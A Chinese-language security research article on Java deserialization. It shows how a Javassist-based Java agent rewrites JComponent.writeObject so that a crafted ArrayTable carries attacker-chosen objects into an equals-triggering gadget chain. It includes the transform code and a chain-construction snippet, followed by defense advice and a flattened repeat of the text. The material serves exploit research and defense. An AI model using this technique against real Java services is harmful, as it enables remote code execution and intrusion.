基于动态Agent挖掘更多的反序列化入口
字数 1181 2025-08-23 18:31:08

基于动态Agent挖掘Java反序列化入口的技术研究

1. 前言

本文主要探讨如何利用Java动态Agent技术来挖掘更多的反序列化利用入口,特别是针对那些在常规利用中会遇到问题的场景。文章以JComponent类的反序列化过程为例,展示了如何通过修改writeObject流程来绕过equals方法提前触发的问题。

2. JComponent类的反序列化分析

2.1 readObject方法分析

JComponent类的readObject方法关键逻辑如下:

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    s.defaultReadObject();
    // 处理ReadObjectCallback逻辑...
    
    // 读取客户端属性
    int cpCount = s.readInt();
    if (cpCount > 0) {
        clientProperties = new ArrayTable();
        for (int counter = 0; counter < cpCount; counter++) {
            clientProperties.put(s.readObject(), s.readObject());
        }
    }
    // 其他逻辑...
}

该方法会读取序列化流中的键值对,并将其存入ArrayTable中。

2.2 ArrayTable的put方法

ArrayTable的put方法关键逻辑:

public void put(Object key, Object value) {
    if (table == null) {
        table = new Object[]{key, value};
    } else {
        int size = size();
        if (size < ARRAY_BOUNDARY) {
            // 数组形式存储
            if (containsKey(key)) {
                Object[] tmp = (Object[]) table;
                for (int i = 0; i < tmp.length - 1; i += 2) {
                    if (tmp[i].equals(key)) {  // 关键点:触发equals方法
                        tmp[i + 1] = value;
                        break;
                    }
                }
            } else {
                // 扩容逻辑...
            }
        } else {
            // Hashtable形式存储...
        }
    }
}

2.3 containsKey方法

public boolean containsKey(Object key) {
    boolean contains = false;
    if (table != null) {
        if (isArray()) {
            Object[] array = (Object[]) table;
            for (int i = 0; i < array.length - 1; i += 2) {
                if (array[i].equals(key)) {  // 直接调用equals方法
                    contains = true;
                    break;
                }
            }
        } else {
            // Hashtable处理...
        }
    }
    return contains;
}

3. 问题分析

在常规利用中,我们希望通过反序列化触发equals方法,但在JComponent的writeObject过程中会提前触发equals:

private void writeObject(ObjectOutputStream s) throws IOException {
    s.defaultWriteObject();
    // UI相关处理...
    ArrayTable.writeArrayTable(s, clientProperties);
}

writeArrayTable方法的关键逻辑:

static void writeArrayTable(ObjectOutputStream s, ArrayTable table) throws IOException {
    Object keys[];
    if (table == null || (keys = table.getKeys(null)) == null) {
        s.writeInt(0);
    } else {
        // 过滤不可序列化的键值对...
        s.writeInt(validCount);
        if (validCount > 0) {
            for (Object key : keys) {
                if (key != null) {
                    s.writeObject(key);
                    s.writeObject(table.get(key));  // 这里会调用get方法
                    if (--validCount == 0) {
                        break;
                    }
                }
            }
        }
    }
}

get方法中会触发equals:

public Object get(Object key) {
    Object value = null;
    if (table != null) {
        if (isArray()) {
            Object[] array = (Object[]) table;
            for (int i = 0; i < array.length - 1; i += 2) {
                if (array[i].equals(key)) {  // 提前触发equals
                    value = array[i + 1];
                    break;
                }
            }
        } else {
            // Hashtable处理...
        }
    }
    return value;
}

4. 解决方案:动态Agent技术

4.1 基本思路

通过Java Agent技术修改JComponent的writeObject方法,绕过默认的writeArrayTable逻辑,直接写入我们构造的table数组。

4.2 实现代码

public byte[] transform(final ClassLoader loader, final String className, 
        final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain, 
        final byte[] classfileBuffer) {
    if (className.equals("javax/swing/JComponent")) {
        try {
            ClassPool classPool = ClassPool.getDefault();
            CtClass jClazz = classPool.get("javax.swing.JComponent");
            CtMethod w = jClazz.getMethod("writeObject", "(Ljava/io/ObjectOutputStream;)V");
            
            String methodBody = "{" +
                "$1.defaultWriteObject();" +
                "$1.writeInt(2);" +  // 写入键值对数量
                "try {" +
                "Class clz = $0.clientProperties.getClass();" +
                "java.lang.reflect.Field field = clz.getDeclaredField(\"table\");" +
                "field.setAccessible(true);" +
                "Object[] table = (Object[]) field.get($0.clientProperties);" +
                "for (int i = 0; i < 4; i++) {" +  // 遍历table数组并写入
                "$1.writeObject(table[i]);" +
                "}" +
                "}" +
                "catch (Exception ex) {}" +
                "}";
            
            w.setBody(methodBody);
            byte[] byteCode = jClazz.toBytecode();
            jClazz.detach();
            return byteCode;
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    return null;
}

4.3 利用链构造

JPanel j = new JPanel();
Class atClass = Class.forName("javax.swing.ArrayTable");
Object arrayTable = ReflectionUtil.createWithoutConstructor(atClass);
Object[] table = new Object[]{o1, "1", o2, "2"};  // o1和o2是我们想要触发equals的对象
ReflectionUtil.setField(arrayTable, "table", table);
ReflectionUtil.setField(j, "clientProperties", arrayTable);
SerializeUtil.deserialize(SerializeUtil.serialize(j));

5. 其他类似场景

类似的利用场景还包括:

  1. AbstractAction类
  2. actionMap属性
  3. 其他使用ArrayTable类的场景

这些类/属性都使用了ArrayTable作为存储结构,可以采用类似的技术手段进行利用。

6. 技术要点总结

  1. ArrayTable的特性:既可以作为数组也可以作为Hashtable存储键值对,在数组形式下会直接调用equals方法进行比较。

  2. 序列化/反序列化流程

    • 默认的writeObject会调用writeArrayTable
    • writeArrayTable会调用get方法
    • get方法会触发equals
  3. 绕过方法

    • 使用Java Agent修改writeObject方法
    • 直接反射获取table数组并序列化
    • 避免触发默认的get/equals逻辑
  4. 动态Agent技术优势

    • 可以修改已加载类的字节码
    • 无需修改源代码
    • 运行时生效

7. 扩展思考

  1. 可以探索更多使用类似ArrayTable结构的类
  2. 研究其他可能通过动态Agent技术增强的利用链
  3. 考虑如何检测和防御此类攻击

8. 防御建议

  1. 对反序列化操作进行严格限制
  2. 监控和限制Java Agent的加载
  3. 更新相关库到最新版本
  4. 实施代码审计,检查潜在的利用点

通过本文的分析,我们展示了如何利用Java动态Agent技术来挖掘和增强反序列化利用链,特别是在面对equals方法提前触发的场景时,提供了一种有效的解决方案。

基于动态Agent挖掘Java反序列化入口的技术研究 1. 前言 本文主要探讨如何利用Java动态Agent技术来挖掘更多的反序列化利用入口,特别是针对那些在常规利用中会遇到问题的场景。文章以JComponent类的反序列化过程为例,展示了如何通过修改writeObject流程来绕过equals方法提前触发的问题。 2. JComponent类的反序列化分析 2.1 readObject方法分析 JComponent类的readObject方法关键逻辑如下: 该方法会读取序列化流中的键值对,并将其存入ArrayTable中。 2.2 ArrayTable的put方法 ArrayTable的put方法关键逻辑: 2.3 containsKey方法 3. 问题分析 在常规利用中,我们希望通过反序列化触发equals方法,但在JComponent的writeObject过程中会提前触发equals: writeArrayTable方法的关键逻辑: get方法中会触发equals: 4. 解决方案:动态Agent技术 4.1 基本思路 通过Java Agent技术修改JComponent的writeObject方法,绕过默认的writeArrayTable逻辑,直接写入我们构造的table数组。 4.2 实现代码 4.3 利用链构造 5. 其他类似场景 类似的利用场景还包括: AbstractAction类 actionMap属性 其他使用ArrayTable类的场景 这些类/属性都使用了ArrayTable作为存储结构,可以采用类似的技术手段进行利用。 6. 技术要点总结 ArrayTable的特性 :既可以作为数组也可以作为Hashtable存储键值对,在数组形式下会直接调用equals方法进行比较。 序列化/反序列化流程 : 默认的writeObject会调用writeArrayTable writeArrayTable会调用get方法 get方法会触发equals 绕过方法 : 使用Java Agent修改writeObject方法 直接反射获取table数组并序列化 避免触发默认的get/equals逻辑 动态Agent技术优势 : 可以修改已加载类的字节码 无需修改源代码 运行时生效 7. 扩展思考 可以探索更多使用类似ArrayTable结构的类 研究其他可能通过动态Agent技术增强的利用链 考虑如何检测和防御此类攻击 8. 防御建议 对反序列化操作进行严格限制 监控和限制Java Agent的加载 更新相关库到最新版本 实施代码审计,检查潜在的利用点 通过本文的分析,我们展示了如何利用Java动态Agent技术来挖掘和增强反序列化利用链,特别是在面对equals方法提前触发的场景时,提供了一种有效的解决方案。